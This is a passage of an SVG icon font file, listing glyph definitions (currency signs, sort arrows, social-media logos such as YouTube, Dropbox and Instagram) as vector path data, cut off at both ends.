d="M404 428l152 -152l-52 -52h-56v96h-96v56zM818 818q14 -13 -3 -30l-291 -291q-17 -17 -30 -3q-14 13 3 30l291 291q17 17 30 3zM544 128l544 544l-288 288l-544 -544v-288h288zM1152 736l92 92q28 28 28 68t-28 68l-152 152q-28 28 -68 28t-68 -28l-92 -92zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_312" unicode="&#xf14c;" 
d="M1280 608v480q0 26 -19 45t-45 19h-480q-42 0 -59 -39q-17 -41 14 -70l144 -144l-534 -534q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l534 534l144 -144q18 -19 45 -19q12 0 25 5q39 17 39 59zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960
q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="share_sign" unicode="&#xf14d;" 
d="M1005 435l352 352q19 19 19 45t-19 45l-352 352q-30 31 -69 14q-40 -17 -40 -59v-160q-119 0 -216 -19.5t-162.5 -51t-114 -79t-76.5 -95.5t-44.5 -109t-21.5 -111.5t-5 -110.5q0 -181 167 -404q11 -12 25 -12q7 0 13 3q22 9 19 33q-44 354 62 473q46 52 130 75.5
t224 23.5v-160q0 -42 40 -59q12 -5 24 -5q26 0 45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="compass" unicode="&#xf14e;" 
d="M640 448l256 128l-256 128v-256zM1024 1039v-542l-512 -256v542zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="collapse" unicode="&#xf150;" 
d="M1145 861q18 -35 -5 -66l-320 -448q-19 -27 -52 -27t-52 27l-320 448q-23 31 -5 66q17 35 57 35h640q40 0 57 -35zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="collapse_top" unicode="&#xf151;" 
d="M1145 419q-17 -35 -57 -35h-640q-40 0 -57 35q-18 35 5 66l320 448q19 27 52 27t52 -27l320 -448q23 -31 5 -66zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_317" unicode="&#xf152;" 
d="M1088 640q0 -33 -27 -52l-448 -320q-31 -23 -66 -5q-35 17 -35 57v640q0 40 35 57q35 18 66 -5l448 -320q27 -19 27 -52zM1280 160v960q0 14 -9 23t-23 9h-960q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h960q14 0 23 9t9 23zM1536 1120v-960q0 -119 -84.5 -203.5
t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="eur" unicode="&#xf153;" horiz-adv-x="1024" 
d="M976 229l35 -159q3 -12 -3 -22.5t-17 -14.5l-5 -1q-4 -2 -10.5 -3.5t-16 -4.5t-21.5 -5.5t-25.5 -5t-30 -5t-33.5 -4.5t-36.5 -3t-38.5 -1q-234 0 -409 130.5t-238 351.5h-95q-13 0 -22.5 9.5t-9.5 22.5v113q0 13 9.5 22.5t22.5 9.5h66q-2 57 1 105h-67q-14 0 -23 9
t-9 23v114q0 14 9 23t23 9h98q67 210 243.5 338t400.5 128q102 0 194 -23q11 -3 20 -15q6 -11 3 -24l-43 -159q-3 -13 -14 -19.5t-24 -2.5l-4 1q-4 1 -11.5 2.5l-17.5 3.5t-22.5 3.5t-26 3t-29 2.5t-29.5 1q-126 0 -226 -64t-150 -176h468q16 0 25 -12q10 -12 7 -26
l-24 -114q-5 -26 -32 -26h-488q-3 -37 0 -105h459q15 0 25 -12q9 -12 6 -27l-24 -112q-2 -11 -11 -18.5t-20 -7.5h-387q48 -117 149.5 -185.5t228.5 -68.5q18 0 36 1.5t33.5 3.5t29.5 4.5t24.5 5t18.5 4.5l12 3l5 2q13 5 26 -2q12 -7 15 -21z" />
    <glyph glyph-name="gbp" unicode="&#xf154;" horiz-adv-x="1024" 
d="M1020 399v-367q0 -14 -9 -23t-23 -9h-956q-14 0 -23 9t-9 23v150q0 13 9.5 22.5t22.5 9.5h97v383h-95q-14 0 -23 9.5t-9 22.5v131q0 14 9 23t23 9h95v223q0 171 123.5 282t314.5 111q185 0 335 -125q9 -8 10 -20.5t-7 -22.5l-103 -127q-9 -11 -22 -12q-13 -2 -23 7
q-5 5 -26 19t-69 32t-93 18q-85 0 -137 -47t-52 -123v-215h305q13 0 22.5 -9t9.5 -23v-131q0 -13 -9.5 -22.5t-22.5 -9.5h-305v-379h414v181q0 13 9 22.5t23 9.5h162q14 0 23 -9.5t9 -22.5z" />
    <glyph glyph-name="usd" unicode="&#xf155;" horiz-adv-x="1024" 
d="M978 351q0 -153 -99.5 -263.5t-258.5 -136.5v-175q0 -14 -9 -23t-23 -9h-135q-13 0 -22.5 9.5t-9.5 22.5v175q-66 9 -127.5 31t-101.5 44.5t-74 48t-46.5 37.5t-17.5 18q-17 21 -2 41l103 135q7 10 23 12q15 2 24 -9l2 -2q113 -99 243 -125q37 -8 74 -8q81 0 142.5 43
t61.5 122q0 28 -15 53t-33.5 42t-58.5 37.5t-66 32t-80 32.5q-39 16 -61.5 25t-61.5 26.5t-62.5 31t-56.5 35.5t-53.5 42.5t-43.5 49t-35.5 58t-21 66.5t-8.5 78q0 138 98 242t255 134v180q0 13 9.5 22.5t22.5 9.5h135q14 0 23 -9t9 -23v-176q57 -6 110.5 -23t87 -33.5
t63.5 -37.5t39 -29t15 -14q17 -18 5 -38l-81 -146q-8 -15 -23 -16q-14 -3 -27 7q-3 3 -14.5 12t-39 26.5t-58.5 32t-74.5 26t-85.5 11.5q-95 0 -155 -43t-60 -111q0 -26 8.5 -48t29.5 -41.5t39.5 -33t56 -31t60.5 -27t70 -27.5q53 -20 81 -31.5t76 -35t75.5 -42.5t62 -50
t53 -63.5t31.5 -76.5t13 -94z" />
    <glyph glyph-name="inr" unicode="&#xf156;" horiz-adv-x="898" 
d="M898 1066v-102q0 -14 -9 -23t-23 -9h-168q-23 -144 -129 -234t-276 -110q167 -178 459 -536q14 -16 4 -34q-8 -18 -29 -18h-195q-16 0 -25 12q-306 367 -498 571q-9 9 -9 22v127q0 13 9.5 22.5t22.5 9.5h112q132 0 212.5 43t102.5 125h-427q-14 0 -23 9t-9 23v102
q0 14 9 23t23 9h413q-57 113 -268 113h-145q-13 0 -22.5 9.5t-9.5 22.5v133q0 14 9 23t23 9h832q14 0 23 -9t9 -23v-102q0 -14 -9 -23t-23 -9h-233q47 -61 64 -144h171q14 0 23 -9t9 -23z" />
    <glyph glyph-name="jpy" unicode="&#xf157;" horiz-adv-x="1027" 
d="M603 0h-172q-13 0 -22.5 9t-9.5 23v330h-288q-13 0 -22.5 9t-9.5 23v103q0 13 9.5 22.5t22.5 9.5h288v85h-288q-13 0 -22.5 9t-9.5 23v104q0 13 9.5 22.5t22.5 9.5h214l-321 578q-8 16 0 32q10 16 28 16h194q19 0 29 -18l215 -425q19 -38 56 -125q10 24 30.5 68t27.5 61
l191 420q8 19 29 19h191q17 0 27 -16q9 -14 1 -31l-313 -579h215q13 0 22.5 -9.5t9.5 -22.5v-104q0 -14 -9.5 -23t-22.5 -9h-290v-85h290q13 0 22.5 -9.5t9.5 -22.5v-103q0 -14 -9.5 -23t-22.5 -9h-290v-330q0 -13 -9.5 -22.5t-22.5 -9.5z" />
    <glyph glyph-name="rub" unicode="&#xf158;" horiz-adv-x="1280" 
d="M1043 971q0 100 -65 162t-171 62h-320v-448h320q106 0 171 62t65 162zM1280 971q0 -193 -126.5 -315t-326.5 -122h-340v-118h505q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-505v-192q0 -14 -9.5 -23t-22.5 -9h-167q-14 0 -23 9t-9 23v192h-224q-14 0 -23 9t-9 23v128
q0 14 9 23t23 9h224v118h-224q-14 0 -23 9t-9 23v149q0 13 9 22.5t23 9.5h224v629q0 14 9 23t23 9h539q200 0 326.5 -122t126.5 -315z" />
    <glyph glyph-name="krw" unicode="&#xf159;" horiz-adv-x="1792" 
d="M514 341l81 299h-159l75 -300q1 -1 1 -3t1 -3q0 1 0.5 3.5t0.5 3.5zM630 768l35 128h-292l32 -128h225zM822 768h139l-35 128h-70zM1271 340l78 300h-162l81 -299q0 -1 0.5 -3.5t1.5 -3.5q0 1 0.5 3t0.5 3zM1382 768l33 128h-297l34 -128h230zM1792 736v-64q0 -14 -9 -23
t-23 -9h-213l-164 -616q-7 -24 -31 -24h-159q-24 0 -31 24l-166 616h-209l-167 -616q-7 -24 -31 -24h-159q-11 0 -19.5 7t-10.5 17l-160 616h-208q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h175l-33 128h-142q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h109l-89 344q-5 15 5 28
q10 12 26 12h137q26 0 31 -24l90 -360h359l97 360q7 24 31 24h126q24 0 31 -24l98 -360h365l93 360q5 24 31 24h137q16 0 26 -12q10 -13 5 -28l-91 -344h111q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-145l-34 -128h179q14 0 23 -9t9 -23z" />
    <glyph glyph-name="btc" unicode="&#xf15a;" horiz-adv-x="1280" 
d="M1167 896q18 -182 -131 -258q117 -28 175 -103t45 -214q-7 -71 -32.5 -125t-64.5 -89t-97 -58.5t-121.5 -34.5t-145.5 -15v-255h-154v251q-80 0 -122 1v-252h-154v255q-18 0 -54 0.5t-55 0.5h-200l31 183h111q50 0 58 51v402h16q-6 1 -16 1v287q-13 68 -89 68h-111v164
l212 -1q64 0 97 1v252h154v-247q82 2 122 2v245h154v-252q79 -7 140 -22.5t113 -45t82.5 -78t36.5 -114.5zM952 351q0 36 -15 64t-37 46t-57.5 30.5t-65.5 18.5t-74 9t-69 3t-64.5 -1t-47.5 -1v-338q8 0 37 -0.5t48 -0.5t53 1.5t58.5 4t57 8.5t55.5 14t47.5 21t39.5 30
t24.5 40t9.5 51zM881 827q0 33 -12.5 58.5t-30.5 42t-48 28t-55 16.5t-61.5 8t-58 2.5t-54 -1t-39.5 -0.5v-307q5 0 34.5 -0.5t46.5 0t50 2t55 5.5t51.5 11t48.5 18.5t37 27t27 38.5t9 51z" />
    <glyph glyph-name="file" unicode="&#xf15b;" 
d="M1024 1024v472q22 -14 36 -28l408 -408q14 -14 28 -36h-472zM896 992q0 -40 28 -68t68 -28h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544z" />
    <glyph glyph-name="file_text" unicode="&#xf15c;" 
d="M1468 1060q14 -14 28 -36h-472v472q22 -14 36 -28zM992 896h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544q0 -40 28 -68t68 -28zM1152 160v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704
q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23z" />
    <glyph glyph-name="sort_by_alphabet" unicode="&#xf15d;" horiz-adv-x="1664" 
d="M1191 1128h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1572 -23
v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -11v-2l14 2q9 2 30 2h248v119h121zM1661 874v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162
l230 -662h70z" />
    <glyph glyph-name="_329" unicode="&#xf15e;" horiz-adv-x="1664" 
d="M1191 104h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1661 -150
v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162l230 -662h70zM1572 1001v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -10v-3l14 3q9 1 30 1h248
v119h121z" />
    <glyph glyph-name="sort_by_attributes" unicode="&#xf160;" horiz-adv-x="1792" 
d="M736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1792 -32v-192q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832
q14 0 23 -9t9 -23zM1600 480v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1408 992v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1216 1504v-192q0 -14 -9 -23t-23 -9h-256
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23z" />
    <glyph glyph-name="sort_by_attributes_alt" unicode="&#xf161;" horiz-adv-x="1792" 
d="M1216 -32v-192q0 -14 -9 -23t-23 -9h-256q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192
q14 0 23 -9t9 -23zM1408 480v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1600 992v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1792 1504v-192q0 -14 -9 -23t-23 -9h-832
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832q14 0 23 -9t9 -23z" />
    <glyph glyph-name="sort_by_order" unicode="&#xf162;" 
d="M1346 223q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23
zM1486 165q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5
t82 -252.5zM1456 882v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165z" />
    <glyph glyph-name="sort_by_order_alt" unicode="&#xf163;" 
d="M1346 1247q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9
t9 -23zM1456 -142v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165zM1486 1189q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13
q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5t82 -252.5z" />
    <glyph glyph-name="_334" unicode="&#xf164;" horiz-adv-x="1664" 
d="M256 192q0 26 -19 45t-45 19q-27 0 -45.5 -19t-18.5 -45q0 -27 18.5 -45.5t45.5 -18.5q26 0 45 18.5t19 45.5zM416 704v-640q0 -26 -19 -45t-45 -19h-288q-26 0 -45 19t-19 45v640q0 26 19 45t45 19h288q26 0 45 -19t19 -45zM1600 704q0 -86 -55 -149q15 -44 15 -76
q3 -76 -43 -137q17 -56 0 -117q-15 -57 -54 -94q9 -112 -49 -181q-64 -76 -197 -78h-36h-76h-17q-66 0 -144 15.5t-121.5 29t-120.5 39.5q-123 43 -158 44q-26 1 -45 19.5t-19 44.5v641q0 25 18 43.5t43 20.5q24 2 76 59t101 121q68 87 101 120q18 18 31 48t17.5 48.5
t13.5 60.5q7 39 12.5 61t19.5 52t34 50q19 19 45 19q46 0 82.5 -10.5t60 -26t40 -40.5t24 -45t12 -50t5 -45t0.5 -39q0 -38 -9.5 -76t-19 -60t-27.5 -56q-3 -6 -10 -18t-11 -22t-8 -24h277q78 0 135 -57t57 -135z" />
    <glyph glyph-name="_335" unicode="&#xf165;" horiz-adv-x="1664" 
d="M256 960q0 -26 -19 -45t-45 -19q-27 0 -45.5 19t-18.5 45q0 27 18.5 45.5t45.5 18.5q26 0 45 -18.5t19 -45.5zM416 448v640q0 26 -19 45t-45 19h-288q-26 0 -45 -19t-19 -45v-640q0 -26 19 -45t45 -19h288q26 0 45 19t19 45zM1545 597q55 -61 55 -149q-1 -78 -57.5 -135
t-134.5 -57h-277q4 -14 8 -24t11 -22t10 -18q18 -37 27 -57t19 -58.5t10 -76.5q0 -24 -0.5 -39t-5 -45t-12 -50t-24 -45t-40 -40.5t-60 -26t-82.5 -10.5q-26 0 -45 19q-20 20 -34 50t-19.5 52t-12.5 61q-9 42 -13.5 60.5t-17.5 48.5t-31 48q-33 33 -101 120q-49 64 -101 121
t-76 59q-25 2 -43 20.5t-18 43.5v641q0 26 19 44.5t45 19.5q35 1 158 44q77 26 120.5 39.5t121.5 29t144 15.5h17h76h36q133 -2 197 -78q58 -69 49 -181q39 -37 54 -94q17 -61 0 -117q46 -61 43 -137q0 -32 -15 -76z" />
    <glyph glyph-name="youtube_sign" unicode="&#xf166;" 
d="M919 233v157q0 50 -29 50q-17 0 -33 -16v-224q16 -16 33 -16q29 0 29 49zM1103 355h66v34q0 51 -33 51t-33 -51v-34zM532 621v-70h-80v-423h-74v423h-78v70h232zM733 495v-367h-67v40q-39 -45 -76 -45q-33 0 -42 28q-6 17 -6 54v290h66v-270q0 -24 1 -26q1 -15 15 -15
q20 0 42 31v280h67zM985 384v-146q0 -52 -7 -73q-12 -42 -53 -42q-35 0 -68 41v-36h-67v493h67v-161q32 40 68 40q41 0 53 -42q7 -21 7 -74zM1236 255v-9q0 -29 -2 -43q-3 -22 -15 -40q-27 -40 -80 -40q-52 0 -81 38q-21 27 -21 86v129q0 59 20 86q29 38 80 38t78 -38
q21 -29 21 -86v-76h-133v-65q0 -51 34 -51q24 0 30 26q0 1 0.5 7t0.5 16.5v21.5h68zM785 1079v-156q0 -51 -32 -51t-32 51v156q0 52 32 52t32 -52zM1318 366q0 177 -19 260q-10 44 -43 73.5t-76 34.5q-136 15 -412 15q-275 0 -411 -15q-44 -5 -76.5 -34.5t-42.5 -73.5
q-20 -87 -20 -260q0 -176 20 -260q10 -43 42.5 -73t75.5 -35q137 -15 412 -15t412 15q43 5 75.5 35t42.5 73q20 84 20 260zM563 1017l90 296h-75l-51 -195l-53 195h-78q7 -23 23 -69l24 -69q35 -103 46 -158v-201h74v201zM852 936v130q0 58 -21 87q-29 38 -78 38
q-51 0 -78 -38q-21 -29 -21 -87v-130q0 -58 21 -87q27 -38 78 -38q49 0 78 38q21 27 21 87zM1033 816h67v370h-67v-283q-22 -31 -42 -31q-15 0 -16 16q-1 2 -1 26v272h-67v-293q0 -37 6 -55q11 -27 43 -27q36 0 77 45v-40zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5
h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="youtube" unicode="&#xf167;" 
d="M971 292v-211q0 -67 -39 -67q-23 0 -45 22v301q22 22 45 22q39 0 39 -67zM1309 291v-46h-90v46q0 68 45 68t45 -68zM343 509h107v94h-312v-94h105v-569h100v569zM631 -60h89v494h-89v-378q-30 -42 -57 -42q-18 0 -21 21q-1 3 -1 35v364h-89v-391q0 -49 8 -73
q12 -37 58 -37q48 0 102 61v-54zM1060 88v197q0 73 -9 99q-17 56 -71 56q-50 0 -93 -54v217h-89v-663h89v48q45 -55 93 -55q54 0 71 55q9 27 9 100zM1398 98v13h-91q0 -51 -2 -61q-7 -36 -40 -36q-46 0 -46 69v87h179v103q0 79 -27 116q-39 51 -106 51q-68 0 -107 -51
q-28 -37 -28 -116v-173q0 -79 29 -116q39 -51 108 -51q72 0 108 53q18 27 21 54q2 9 2 58zM790 1011v210q0 69 -43 69t-43 -69v-210q0 -70 43 -70t43 70zM1509 260q0 -234 -26 -350q-14 -59 -58 -99t-102 -46q-184 -21 -555 -21t-555 21q-58 6 -102.5 46t-57.5 99
q-26 112 -26 350q0 234 26 350q14 59 58 99t103 47q183 20 554 20t555 -20q58 -7 102.5 -47t57.5 -99q26 -112 26 -350zM511 1536h102l-121 -399v-271h-100v271q-14 74 -61 212q-37 103 -65 187h106l71 -263zM881 1203v-175q0 -81 -28 -118q-38 -51 -106 -51q-67 0 -105 51
q-28 38 -28 118v175q0 80 28 117q38 51 105 51q68 0 106 -51q28 -37 28 -117zM1216 1365v-499h-91v55q-53 -62 -103 -62q-46 0 -59 37q-8 24 -8 75v394h91v-367q0 -33 1 -35q3 -22 21 -22q27 0 57 43v381h91z" />
    <glyph glyph-name="xing" unicode="&#xf168;" horiz-adv-x="1408" 
d="M597 869q-10 -18 -257 -456q-27 -46 -65 -46h-239q-21 0 -31 17t0 36l253 448q1 0 0 1l-161 279q-12 22 -1 37q9 15 32 15h239q40 0 66 -45zM1403 1511q11 -16 0 -37l-528 -934v-1l336 -615q11 -20 1 -37q-10 -15 -32 -15h-239q-42 0 -66 45l-339 622q18 32 531 942
q25 45 64 45h241q22 0 31 -15z" />
    <glyph glyph-name="xing_sign" unicode="&#xf169;" 
d="M685 771q0 1 -126 222q-21 34 -52 34h-184q-18 0 -26 -11q-7 -12 1 -29l125 -216v-1l-196 -346q-9 -14 0 -28q8 -13 24 -13h185q31 0 50 36zM1309 1268q-7 12 -24 12h-187q-30 0 -49 -35l-411 -729q1 -2 262 -481q20 -35 52 -35h184q18 0 25 12q8 13 -1 28l-260 476v1
l409 723q8 16 0 28zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="youtube_play" unicode="&#xf16a;" horiz-adv-x="1792" 
d="M711 408l484 250l-484 253v-503zM896 1270q168 0 324.5 -4.5t229.5 -9.5l73 -4q1 0 17 -1.5t23 -3t23.5 -4.5t28.5 -8t28 -13t31 -19.5t29 -26.5q6 -6 15.5 -18.5t29 -58.5t26.5 -101q8 -64 12.5 -136.5t5.5 -113.5v-40v-136q1 -145 -18 -290q-7 -55 -25 -99.5t-32 -61.5
l-14 -17q-14 -15 -29 -26.5t-31 -19t-28 -12.5t-28.5 -8t-24 -4.5t-23 -3t-16.5 -1.5q-251 -19 -627 -19q-207 2 -359.5 6.5t-200.5 7.5l-49 4l-36 4q-36 5 -54.5 10t-51 21t-56.5 41q-6 6 -15.5 18.5t-29 58.5t-26.5 101q-8 64 -12.5 136.5t-5.5 113.5v40v136
q-1 145 18 290q7 55 25 99.5t32 61.5l14 17q14 15 29 26.5t31 19.5t28 13t28.5 8t23.5 4.5t23 3t17 1.5q251 18 627 18z" />
    <glyph glyph-name="dropbox" unicode="&#xf16b;" horiz-adv-x="1792" 
d="M402 829l494 -305l-342 -285l-490 319zM1388 274v-108l-490 -293v-1l-1 1l-1 -1v1l-489 293v108l147 -96l342 284v2l1 -1l1 1v-2l343 -284zM554 1418l342 -285l-494 -304l-338 270zM1390 829l338 -271l-489 -319l-343 285zM1239 1418l489 -319l-338 -270l-494 304z" />
    <glyph glyph-name="stackexchange" unicode="&#xf16c;" 
d="M1289 -96h-1118v480h-160v-640h1438v640h-160v-480zM347 428l33 157l783 -165l-33 -156zM450 802l67 146l725 -339l-67 -145zM651 1158l102 123l614 -513l-102 -123zM1048 1536l477 -641l-128 -96l-477 641zM330 65v159h800v-159h-800z" />
    <glyph glyph-name="instagram" unicode="&#xf16d;" 
d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1162 640q0 -164 -115 -279t-279 -115t-279 115t-115 279t115 279t279 115t279 -115t115 -279zM1270 1050q0 -38 -27 -65t-65 -27t-65 27t-27 65t27 65t65 27t65 -27t27 -65zM768 1270
q-7 0 -76.5 0.5t-105.5 0t-96.5 -3t-103 -10t-71.5 -18.5q-50 -20 -88 -58t-58 -88q-11 -29 -18.5 -71.5t-10 -103t-3 -96.5t0 -105.5t0.5 -76.5t-0.5 -76.5t0 -105.5t3 -96.5t10 -103t18.5 -71.5q20 -50 58 -88t88 -58q29 -11 71.5 -18.5t103 -10t96.5 -3t105.5 0t76.5 0.5
t76.5 -0.5t105.5 0t96.5 3t103 10t71.5 18.5q50 20 88 58t58 88q11 29 18.5 71.5t10 103t3 96.5t0 105.5t-0.5 76.5t0.5 76.5t0 105.5t-3 96.5t-10 103t-18.5 71.5q-20 50 -58 88t-88 58q-29 11 -71.5 18.5t-103 10t-96.5 3t-105.5 0t-76.5 -0.5zM1536 640q0 -229 -5 -317
q-10 -208 -124 -322t-322 -124q-88 -5 -317 -5t-317 5q-208 10 -322 124t-124 322q-5 88 -5 317t5 317q10 208 124 322t322 124q88 5 317 5t317 -5q208 -10 322 -124t124 -322q5 -88 5 -317z" />
    <glyph glyph-name="flickr" unicode="&#xf16e;" 
d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM698 640q0 88 -62 150t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150zM1262 640q0 88 -62 150
t-150 62t-150 -62t-62 -150t62 -150t150 -62t150 62t62 150z" />
    <glyph glyph-name="adn" unicode="&#xf170;" 
d="M768 914l201 -306h-402zM1133 384h94l-459 691l-459 -691h94l104 160h522zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="f171" unicode="&#xf171;" horiz-adv-x="1408" 
d="M815 677q8 -63 -50.5 -101t-111.5 -6q-39 17 -53.5 58t-0.5 82t52 58q36 18 72.5 12t64 -35.5t27.5 -67.5zM926 698q-14 107 -113 164t-197 13q-63 -28 -100.5 -88.5t-34.5 -129.5q4 -91 77.5 -155t165.5 -56q91 8 152 84t50 168zM1165 1240q-20 27 -56 44.5t-58 22
